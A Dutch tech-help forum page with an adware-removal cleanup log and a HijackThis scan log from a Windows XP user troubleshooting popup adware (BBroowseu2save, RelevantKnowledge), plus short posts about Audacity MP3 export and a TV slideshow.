    Docs - Administrator - Default\Extensions\aohghmighlieiainnegkcijnfilokake

    Google Drive - Administrator - Default\Extensions\apdfllckaahabafndbhieahigkjlhalf

    YouTube - Administrator - Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo

    Google Search - Administrator - Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf

    BBroowseu2save - Administrator - Default\Extensions\gblkehimjjmfaallbllggcdaepmfmnph

    BBrowosE22ssAve - Administrator - Default\Extensions\icddiapnjhbiamncmhddieaocogibmjg

    20-20 3D Viewer for IKEA - Administrator - Default\Extensions\pfhldcakmgpmglboaclpfdedehjblalp

    Gmail - Administrator - Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia

    ==== Chrome Fix ======================

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\gblkehimjjmfaallbllggcdaepmfmnph deleted successfully

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\icddiapnjhbiamncmhddieaocogibmjg deleted successfully

    ==== Set IE to Default ======================

    Old Values:

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

    "Start Page"="http://www.google.be/"

    "Search Page"="http://www.google.com"

    "Search Bar"="http://www.google.com/ie"

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl]

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\AV]

    @="http://www.altavista.com/sites/search/web?q=%s"

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\FM]

    @="http://www.filemirrors.com/search.src?file=%s"

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\GGL]

    @="http://www.google.com/search?q=%s"

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\MSKB]

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl\MSN]

    @="http://search.msn.com/results.asp?q=%s"

    [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search]

    "SearchAssistant"="http://www.google.com/ie"

    [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]

    No DefaultScope Set For HKCU

    New Values:

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

    "Search Page"="http://go.microsoft.com/fwlink/?LinkId=54896"

    "Search Bar"="http://go.microsoft.com/fwlink/?LinkId=54896"

    "Start Page"="http://www.google.be/"

    [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl]

    "(Default)"="http://search.msn.com/results.asp?q=%s"

    [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search]

    "SearchAssistant"="http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm"

    [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]

    "DefaultScope"="{6A1806CD-94D4-4689-BA73-E35EA1EA9990}"

    ==== All HKCU SearchScopes ======================

    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes

    {0633EE93-D776-472f-A0FF-E1416B8B2E3A} Bing Url="http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC"

    {6A1806CD-94D4-4689-BA73-E35EA1EA9990} Google Url="http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}"

    ==== Reset Google Chrome ======================

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences was reset successfully

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data was reset successfully

    ==== Deleting CLSID Registry Keys ======================

    HKEY_CLASSES_ROOT\CLSID\{74998212-4978-399C-382B-E2097DD82A64} deleted successfully

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{74998212-4978-399C-382B-E2097DD82A64} deleted successfully

    ==== Deleting CLSID Registry Values ======================

    ==== shortcuts on All Users Desktop ======================

    C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk - C:\Program Files\Google\Chrome\Application\chrome.exe

    C:\Documents and Settings\All Users\Desktop\Skype.lnk - C:\WINDOWS\Installer\{4E76FF7E-AEBA-4C87-B788-CD47E5425B9D}\SkypeIcon.exe

    ==== shortcuts in All Users Start Menu ======================

    C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Calculator.lnk - C:\WINDOWS\system32\calc.exe

    C:\Documents and Settings\All Users\Start Menu\Programs\BBroowseu2save\BBroowseu2save.lnk -

    C:\Documents and Settings\All Users\Start Menu\Programs\BBroowseu2save\Uninstall.lnk - C:\Documents and Settings\All Users\Application Data\BBroowseu2save\uninstall.exe /path=C:\Documents and Settings\All Users\Application Data\BBroowseu2save

    C:\Documents and Settings\All Users\Start Menu\Programs\Google Chrome\Google Chrome.lnk - C:\Program Files\Google\Chrome\Application\chrome.exe

    C:\Documents and Settings\All Users\Start Menu\Programs\RelevantKnowledge\About RelevantKnowledge.lnk -

    C:\Documents and Settings\All Users\Start Menu\Programs\RelevantKnowledge\Member of GRID - Goodware Repository Information Database.lnk -

    C:\Documents and Settings\All Users\Start Menu\Programs\RelevantKnowledge\Privacy Policy and User License Agreement.lnk -

    C:\Documents and Settings\All Users\Start Menu\Programs\RelevantKnowledge\Support.lnk -

    C:\Documents and Settings\All Users\Start Menu\Programs\RelevantKnowledge\Uninstall Instructions.lnk - C:\Program Files\RelevantKnowledge\rlvknlg.exe -prompt:"To uninstall RelevantKnowledge, go to Control Panel, and then to %22Add or Remove Programs%22,%0Aor %22Uninstall programs%22 if you are using Windows Vista. You can uninstall through the%0A%22RelevantKnowledge%22 item in the program list."

    C:\Documents and Settings\All Users\Start Menu\Programs\SmartGraph\SmartGraph.lnk - C:\SmartGraph\SmartGraph.exe

    ==== Empty IE Cache ======================

    C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5 emptied successfully

    C:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files\Content.IE5 emptied successfully

    C:\WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5 emptied successfully

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\GDQNKLYF will be deleted at reboot

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\O56VGLQN will be deleted at reboot

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\QT3O14RM will be deleted at reboot

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat will be deleted at reboot

    C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\index.dat will be deleted at reboot

    ==== Empty FireFox Cache ======================

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Mozilla\Firefox\Profiles\l42nb0k5.default\Cache emptied successfully

    ==== Empty Chrome Cache ======================

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache emptied successfully

    ==== Empty All Flash Cache ======================

    Flash Cache Emptied Successfully

    ==== Empty All Java Cache ======================

    No Java Cache Found

    After Reboot

    ==== Empty Temp Folders ======================

    C:\WINDOWS\Temp successfully emptied

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp successfully emptied

    ==== Empty Recycle Bin ======================

    C:\RECYCLER successfully emptied

    ==== Deleting Files / Folders ======================

    "C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat" not found

    "C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\index.dat" not deleted

    "C:\Program Files\RelevantKnowledge" not found

    "C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\GDQNKLYF" not found

    "C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\O56VGLQN" not found

    "C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\QT3O14RM" not found

  18. Nochtans staat er Avast as antivirus op, die tot nu toe altijd goed heeft gewerkt

    Midden en een tekst staat er soms een woordje dat ondelijnd is. Komt men met de muis in de buurt heb je een vervelend pop up venstertje. Kan iemand me op een idee brengen?

    Hier is het logje

    Logfile of Trend Micro HijackThis v2.0.4

    Scan saved at 17:45:59, on 3/04/2013

    Platform: Windows XP SP3 (WinNT 5.01.2600)

    MSIE: Internet Explorer v6.00 SP3 (6.00.2900.5512)

    Boot mode: Normal

    Running processes:

    C:\WINDOWS\System32\smss.exe

    C:\WINDOWS\system32\winlogon.exe

    C:\WINDOWS\system32\services.exe

    C:\WINDOWS\system32\lsass.exe

    C:\WINDOWS\system32\svchost.exe

    C:\WINDOWS\System32\svchost.exe

    C:\WINDOWS\System32\WLTRYSVC.EXE

    C:\WINDOWS\System32\bcmwltry.exe

    C:\Program Files\AVAST Software\Avast\AvastSvc.exe

    C:\WINDOWS\Explorer.EXE

    C:\WINDOWS\system32\spoolsv.exe

    C:\Program Files\Broadcom\ASFIPMon\AsfIpMon.exe

    C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\mdm.exe

    C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    C:\Program Files\AVAST Software\Avast\avastUI.exe

    C:\WINDOWS\system32\hkcmd.exe

    C:\WINDOWS\system32\igfxpers.exe

    C:\Program Files\DellTPad\Apoint.exe

    C:\WINDOWS\system32\igfxsrvc.exe

    C:\Program Files\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe

    C:\WINDOWS\system32\WLTRAY.exe

    C:\Program Files\SigmaTel\C-Major Audio\WDM\stsystra.exe

    C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe

    C:\WINDOWS\system32\ctfmon.exe

    C:\Program Files\DellTPad\ApMsgFwd.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\Skype\Phone\Skype.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtMng.exe

    C:\WINDOWS\system32\svchost.exe

    C:\Program Files\DellTPad\HidFind.exe

    C:\Program Files\DellTPad\Apntex.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosA2dp.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHid.exe

    C:\Program Files\Toshiba\Bluetooth Toshiba Stack\TosBtHsp.exe

    C:\Program Files\Canon\CAL\CALMAIN.exe

    C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe

    C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    C:\WINDOWS\system32\wbem\unsecapp.exe

    C:\Program Files\Brownie\brstswnd.exe

    C:\Program Files\OpenOffice.org 3\program\swriter.exe

    C:\Program Files\OpenOffice.org 3\program\soffice.exe

    C:\Program Files\OpenOffice.org 3\program\soffice.bin

    C:\Program Files\PC Connectivity Solution\Transports\NclToBTSrv.exe

    C:\Program Files\RelevantKnowledge\rlvknlg.exe

    C:\Program Files\Mozilla Firefox\firefox.exe

    C:\Program Files\Mozilla Firefox\plugin-container.exe

    C:\Documents and Settings\Administrator\My Documents\Downloads\HijackThis.exe

    C:\WINDOWS\system32\NOTEPAD.EXE

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = Google

    O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\PROGRA~1\MICROS~2\Office14\GROOVEEX.DLL

    O2 - BHO: BBroowseu2save - {74998212-4978-399C-382B-E2097DD82A64} - C:\Documents and Settings\All Users\Application Data\BBroowseu2save\515c31cad2aae.dll

    O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\PROGRA~1\MICROS~2\Office14\URLREDIR.DLL

    O4 - HKLM\..\Run: [avast] "C:\Program Files\AVAST Software\Avast\avastUI.exe" /nogui

    O4 - HKLM\..\Run: [igfxTray] C:\WINDOWS\system32\igfxtray.exe

    O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe

    O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe

    O4 - HKLM\..\Run: [Apoint] C:\Program Files\DellTPad\Apoint.exe

    O4 - HKLM\..\Run: [iTSecMng] %ProgramFiles%\TOSHIBA\Bluetooth Toshiba Stack\ItSecMng.exe /START

    O4 - HKLM\..\Run: [broadcom Wireless Manager UI] C:\WINDOWS\system32\WLTRAY.exe

    O4 - HKLM\..\Run: [sigmatelSysTrayApp] %ProgramFiles%\SigmaTel\C-Major Audio\WDM\stsystra.exe

    O4 - HKCU\..\Run: [PC Suite Tray] "C:\Program Files\Nokia\Nokia PC Suite 7\PCSuite.exe" -onlytray

    O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe

    O4 - HKCU\..\Run: [DAEMON Tools Lite] "C:\Program Files\DAEMON Tools Lite\DTLite.exe" -autorun

    O4 - HKCU\..\Run: [Akamai NetSession Interface] "C:\Documents and Settings\Administrator\Local Settings\Application Data\Akamai\netsession_win.exe"

    O4 - HKCU\..\Run: [skype] "C:\Program Files\Skype\Phone\Skype.exe" /minimized /regrun

    O4 - Startup: Seagate NA410LWP Product Registration.lnk = C:\Documents and Settings\Administrator\Application Data\Leadertech\PowerRegister\Seagate NA410LWP Product Registration.exe

    O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe

    O4 - Global Startup: Bluetooth Manager.lnk = ?

    O8 - Extra context menu item: &Verzenden naar OneNote - res://C:\PROGRA~1\MICROS~2\Office14\ONBttnIE.dll/105

    O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office12\EXCEL.EXE/3000

    O8 - Extra context menu item: E&xporteren naar Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office14\EXCEL.EXE/3000

    O9 - Extra button: Verzenden naar OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll

    O9 - Extra 'Tools' menuitem: &Verzenden naar OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll

    O9 - Extra button: &Gekoppelde notities van OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll

    O9 - Extra 'Tools' menuitem: &Gekoppelde notities van OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll

    O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe

    O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe

    O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe

    O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~1\COMMON~1\Skype\SKYPE4~1.DLL

    O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL

    O20 - AppInit_DLLs: c:\progra~1\browse~1\sprote~1.dll

    O20 - Winlogon Notify: RelevantKnowledge - C:\program files\relevantknowledge\rlls.dll

    O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll

    O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll

    O23 - Service: Adobe LM Service - Unknown owner - C:\Program Files\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe

    O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

    O23 - Service: Broadcom ASF IP and SMBIOS Mailbox Monitor (ASFIPmon) - Broadcom Corporation - C:\Program Files\Broadcom\ASFIPMon\AsfIpMon.exe

    O23 - Service: avast! Antivirus - AVAST Software - C:\Program Files\AVAST Software\Avast\AvastSvc.exe

    O23 - Service: Canon Camera Access Library 8 (CCALib8) - Canon Inc. - C:\Program Files\Canon\CAL\CALMAIN.exe

    O23 - Service: Google Update-service (gupdate) (gupdate) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Google Update-service (gupdatem) (gupdatem) - Google Inc. - C:\Program Files\Google\Update\GoogleUpdate.exe

    O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe

    O23 - Service: ServiceLayer - Nokia - C:\Program Files\PC Connectivity Solution\ServiceLayer.exe

    O23 - Service: Skype Updater (SkypeUpdate) - Skype Technologies - C:\Program Files\Skype\Updater\Updater.exe

    O23 - Service: SigmaTel Audio Service (STacSV) - SigmaTel, Inc. - C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\StacSV.exe

    O23 - Service: DW WLAN Tray Service (wltrysvc) - Unknown owner - C:\WINDOWS\System32\WLTRYSVC.EXE

    --

    End of file - 8113 bytes

  19. De Audacity ziet er wel OK uit - Bedankt! - maar dat exporteren naar een Mp3 lukt niet: "kan de MP3-coderingscode niet vinden"... krijg ik steeds in een venstertje...wat dat ook moge zijn?

    Ik heb geprobeerd met WAV-files te werken maar ook met MP3 meer geen van beide lukt...

  20. Wel dit is één file waar je bv 50 jpg foto's in zet met één mp3; dit zet je op een usb stick en de tv doet de rest: Daar kies je met de afstandsbediening - dia show met muziek en alles start. Er zijn nog wel instelmogelijkheden zoals de tijd per foto, of soort van overvloeing naar de volgende foto. Over de muziek staat er maar één keuze: met of zonder muziek. Maar meerdere Mp3's lukt het niet. Dus hoe langer de mp3, hoe meer foto's.

×
×
  • Nieuwe aanmaken...

Belangrijke informatie

We hebben cookies geplaatst op je toestel om deze website voor jou beter te kunnen maken. Je kunt de cookie instellingen aanpassen, anders gaan we er van uit dat het goed is om verder te gaan.